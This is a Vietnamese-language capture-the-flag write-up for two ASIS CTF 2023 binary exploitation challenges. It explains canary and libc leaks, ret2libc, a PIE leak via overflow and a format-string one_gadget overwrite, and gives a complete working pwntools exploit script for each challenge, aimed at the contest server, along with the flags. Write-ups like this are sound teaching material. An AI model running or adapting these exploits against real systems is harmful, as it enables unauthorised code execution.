# (writeup) ASIS CTF 2023
## hipwn
- basic file check

- check ida

- thông qua ida, ta đã biết sẽ có lỗi từ hàm **puts**
- dụa vào cơ chế hàm **puts** sẽ in đến khi gặp NULL byte, ta dễ dàng leak được canry và cả libc (dựa vào vòng lặp cho dù ghi đè canary vẫn chưa đến lúc return)
- biến được khai báo 72 bytes, lại cho phép ow tuỳ ý
---> 73 bytes sẽ nối chuỗi canary
- sau canary là $rbp
---> ow $rbp để nối chuỗi libc_start_main
- có libc ta sẽ ret2libc như bình thường
- thoát khỏi vòng lặp bằng cách gửi số khác 1337

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
# p = process(exe.path)
p = remote('45.153.243.57', 1337)
# gdb.attach(p, gdbscript = '''
# b*main+141
# c
# ''')
# input()
def loop(data):
p.sendlineafter(b'much???\n', str(1337))
p.send(data)
def choice(choice):
p.sendlineafter(b'again?\n', str(choice))
payload = b'a'*73
loop(payload)
p.recvuntil(payload)
canary = u64(b'\0' + p.recv(7))
log.info("canary leak: " + hex(canary))
choice(1337)
payload = b'a'*88
loop(payload)
p.recvuntil(payload)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x29d90
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
choice(1337)
pop_rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6
payload = b'a'*72
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])
loop(payload)
choice(1)
p.interactive()
#ASIS{so_you_know_how_to_pwn?!!!!}
```
>ASIS{so_you_know_how_to_pwn?!!!!}
## text-editor
- basic file check

- check ida

>**main()**

>**print_menu()**

>**edit_text()**
>vị trí payload sẽ ghi vào vùng nhớ .bss (&**text**)

>**save_text()**
>đưa payload từ &**text** vào stack

>**show_error()**
>là hàm khác với option3
>chọn invalid option sẽ in ra thông tin nào đó
- note lại các offset địa chỉ quan trọng

>**text** = 0x4020

>**off_4210** = 0x4210
- từ 2 địa chỉ ta note lại ở trên, thấy rằng là ta bắt đầu nhập từ 4020, và in ra từ 4120
---> offset 0x100
- ta còn có thể ow 8 byte
- vậy thứ ta muốn là leak cái gì ?
- PIE động ---> leak exe trước

> thấy rằng là sau khi nhập 0x100 byte 'a', kế đó là 3 byte 'bc\n'
> ngay ở lần call printf thanh ghi $rdi 3 byte cuối là 0xa06362
> vậy leak dc exe bằng những byte overflow
- thứ ta cần là $rdi chứa 1 địa chỉ hợp lệ và trỏ đến 1 địa chỉ exe
- thì đây là địa chỉ khả quan (0x8008)

> test với chuỗi 'abcd\n'
- ta sẽ overflow 2 byte cuối là p16(0x8008)
- nhưng vì PIE động nên tạm thời ta bật NOASLR (dự kiến sẽ brute để leak exe)
>phải brute vì ta còn bị dính 1 bit kế của 0x8008 (cao hoặc thấp hơn) ---> nằm ngoài exe
- khi đã leak được exe base, tiếp theo ta sẽ leak libc bằng puts@GOT
- việc cuối cùng là gọi one_gadget ow ở return 1 hàm (ở đây chọn hàm **main** )
- ta cần leak stack để trỏ nhằm ow one_gadget
- thì stack có thể leak bằng 2 cách:
- dùng fmt ở %6$p
- dùng ``__environ`` có trong libc
- có stack, tính $rip rồi từ đó fmt bình thường

> rbp chung rsp nên return trong hàm **show_text()** sẽ là dc38
> offset = 0x128
- khi nhập chuỗi payload để fmt, ta sẽ không **printf** liền mà ta sẽ sử dụng hàm **save_text()** để đưa payload ta lên stack nhằm thay đổi $rip
- vì one_gadget cần yêu cầu $rbp-offset là địa chỉ writeable nên sau payload 0x100 byte sẽ là 8 byte địa chỉ &**text**
- vì sự thay đổi 1 bit nên tỉ lệ brute là 1/16 (brute tay🥲)

- script:
```python
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
if args.REMOTE:
p = remote('45.153.243.57',13337)
else:
p = process(exe.path)
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*edit_text+48
b*show_error+23
b*main+195
b*save_text+38
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
GDB()
def edit(data):
sla(b'> ',b'1')
sa(b'text: ',data)
def show():
sla(b'> ',b'4')
def save():
sla(b'> ',b'2')
payload = b'a'*0x100 + p16(0x8008)
edit(payload)
show()
exe_leak = u64(p.recv(6) + b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))
payload = b'a'*0x100 + p64(exe.got['puts'])
edit(payload)
show()
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
text = exe.sym['text']
payload = b'%6$p|'
payload = payload.ljust(0x100, b'P')
payload += p64(text)
edit(payload)
show()
stack = int(p.recvuntil(b'|')[:-1], 16)
rip = stack - 0x128
info("stack leak: " + hex(stack))
info("stack need: " + hex(rip))
gadget = [0xebcf1,0xebcf5,0xebcf8]
one_gadget = libc.address + gadget[1]
info("one gadget: " + hex(one_gadget))
package = {
((one_gadget) >> 0) & 0xffff : rip,
((one_gadget) >> 16) & 0xffff : rip+2,
((one_gadget) >> 32) & 0xffff : rip+4,
}
order = sorted(package)
payload = f'%{order[0]}c%18$hn'.encode()
payload += f'%{order[1] - order[0]}c%19$hn'.encode()
payload += f'%{order[2] - order[1]}c%20$hn'.encode()
payload = payload.ljust(0x40)
payload += flat(
package[order[0]],
package[order[1]],
package[order[2]]
)
payload = payload.ljust(0x100,b'P') + p64(text)
edit(payload)
save()
show()
p.interactive()
#ASIS{text_editing_has_never_been_so_fun_d1fd2}
```
>ASIS{text_editing_has_never_been_so_fun_d1fd2}